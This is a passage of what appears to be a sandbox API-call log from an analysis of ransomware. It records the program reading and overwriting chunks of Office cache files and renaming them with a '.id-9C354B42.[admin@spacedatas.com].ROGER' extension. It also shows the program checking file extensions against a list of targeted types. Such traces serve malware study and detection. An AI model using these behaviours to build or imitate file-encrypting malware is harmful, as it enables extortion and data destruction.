liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.442] ReadFile (in: hFile=0x370, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.449] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.449] ReadFile (in: hFile=0x370, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.454] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.454] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.454] ReadFile (in: hFile=0x370, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.258] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.258] WriteFile (in: hFile=0x370, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0038.273] SetEndOfFile (hFile=0x370) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4eb80c8 [0038.471] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.471] WriteFile (in: hFile=0x370, lpBuffer=0x4eb80c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb80c8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.740] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.740] WriteFile (in: hFile=0x370, lpBuffer=0x4eb80c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb80c8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.740] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.740] WriteFile (in: hFile=0x370, lpBuffer=0x4eb80c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb80c8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.742] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4eb80c8 | out: hHeap=0x790000) returned 1 [0038.742] CloseHandle (hObject=0x370) returned 1 [0040.478] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.478] lstrlenW (lpString=".doc") returned 4 [0040.478] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.478] lstrlenW (lpString=".docx") returned 5 [0040.478] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.478] lstrlenW (lpString=".pdf") returned 4 [0040.478] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.478] lstrlenW (lpString=".xls") returned 4 [0040.478] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".xlsx") returned 5 [0040.479] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.479] lstrlenW (lpString=".ppt") returned 4 [0040.479] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString=".zip") returned 4 [0040.479] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".rar") returned 4 [0040.479] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".bz2") returned 4 [0040.479] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.479] lstrlenW (lpString=".7z") returned 3 [0040.479] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString=".dbf") returned 4 [0040.479] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString=".1cd") returned 4 [0040.479] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString=".jpg") returned 4 [0040.479] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.479] lstrlenW (lpString=".doc") returned 4 [0040.479] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".docx") returned 5 [0040.479] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.479] lstrlenW (lpString=".pdf") returned 4 [0040.479] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".xls") returned 4 [0040.479] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.479] lstrlenW (lpString=".xlsx") returned 5 [0040.480] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.480] lstrlenW (lpString=".ppt") returned 4 [0040.480] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.480] lstrlenW (lpString=".zip") returned 4 [0040.480] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.480] lstrlenW (lpString=".rar") returned 4 [0040.480] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.480] lstrlenW (lpString=".bz2") returned 4 [0040.480] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.480] lstrlenW (lpString=".7z") returned 3 [0040.480] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.480] lstrlenW (lpString=".dbf") returned 4 [0040.480] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.480] lstrlenW (lpString=".1cd") returned 4 [0040.480] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.480] lstrlenW (lpString=".jpg") returned 4 [0040.480] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.480] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0040.480] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0040.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0040.481] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2865664) returned 1 [0040.481] CloseHandle (hObject=0x370) returned 1 [0040.481] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0040.481] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.481] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0040.481] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0040.481] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.481] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.482] ReadFile (in: hFile=0x370, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.486] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.486] ReadFile (in: hFile=0x370, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.493] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.493] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.493] ReadFile (in: hFile=0x370, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.508] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.508] WriteFile (in: hFile=0x370, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0040.939] SetEndOfFile (hFile=0x370) returned 1 [0040.940] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e60098 [0040.942] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.942] WriteFile (in: hFile=0x370, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.944] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.944] WriteFile (in: hFile=0x370, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.950] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.950] WriteFile (in: hFile=0x370, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.953] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0040.953] CloseHandle (hObject=0x370) returned 1 [0041.685] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.685] lstrlenW (lpString=".doc") returned 4 [0041.685] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.685] lstrlenW (lpString=".docx") returned 5 [0041.686] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.686] lstrlenW (lpString=".pdf") returned 4 [0041.686] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.686] lstrlenW (lpString=".xls") returned 4 [0041.686] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.686] lstrlenW (lpString=".xlsx") returned 5 [0041.686] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.686] lstrlenW (lpString=".ppt") returned 4 [0041.686] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString=".zip") returned 4 [0041.686] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.686] lstrlenW (lpString=".rar") returned 4 [0041.686] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.686] lstrlenW (lpString=".bz2") returned 4 [0041.686] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.686] lstrlenW (lpString=".7z") returned 3 [0041.686] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString=".dbf") returned 4 [0041.686] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString=".1cd") returned 4 [0041.686] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString=".jpg") returned 4 [0041.686] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.686] lstrlenW (lpString=".doc") returned 4 [0041.686] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.686] lstrlenW (lpString=".docx") returned 5 [0041.686] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.687] lstrlenW (lpString=".pdf") returned 4 [0041.687] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.687] lstrlenW (lpString=".xls") returned 4 [0041.687] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.687] lstrlenW (lpString=".xlsx") returned 5 [0041.687] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.687] lstrlenW (lpString=".ppt") returned 4 [0041.687] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.687] lstrlenW (lpString=".zip") returned 4 [0041.687] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.687] lstrlenW (lpString=".rar") returned 4 [0041.687] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.687] lstrlenW (lpString=".bz2") returned 4 [0041.687] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.687] lstrlenW (lpString=".7z") returned 3 [0041.687] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.687] lstrlenW (lpString=".dbf") returned 4 [0041.687] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.687] lstrlenW (lpString=".1cd") returned 4 [0041.687] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.687] lstrlenW (lpString=".jpg") returned 4 [0041.687] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.688] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0041.688] lstrlenW (lpString="WordMUI.msi") returned 11 [0041.688] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0041.688] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2522624) returned 1 [0041.688] CloseHandle (hObject=0x370) returned 1 [0041.688] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0041.688] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.688] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0041.689] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0041.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.689] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.689] ReadFile (in: hFile=0x370, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.709] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.710] ReadFile (in: hFile=0x370, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.738] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.738] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.738] ReadFile (in: hFile=0x370, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.753] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.753] WriteFile (in: hFile=0x370, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0041.927] SetEndOfFile (hFile=0x370) returned 1 [0041.927] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e40088 [0041.928] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.928] WriteFile (in: hFile=0x370, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.930] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.930] WriteFile (in: hFile=0x370, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.935] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.935] WriteFile (in: hFile=0x370, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0041.938] CloseHandle (hObject=0x370) returned 1 [0042.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0042.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.093] lstrlenW (lpString=".doc") returned 4 [0042.093] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.093] lstrlenW (lpString=".docx") returned 5 [0042.093] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.094] lstrlenW (lpString=".pdf") returned 4 [0042.094] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.094] lstrlenW (lpString=".xls") returned 4 [0042.094] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.094] lstrlenW (lpString=".xlsx") returned 5 [0042.094] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.094] lstrlenW (lpString=".ppt") returned 4 [0042.094] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.094] lstrlenW (lpString=".zip") returned 4 [0042.094] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.094] lstrlenW (lpString=".rar") returned 4 [0042.094] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.094] lstrlenW (lpString=".bz2") returned 4 [0042.094] 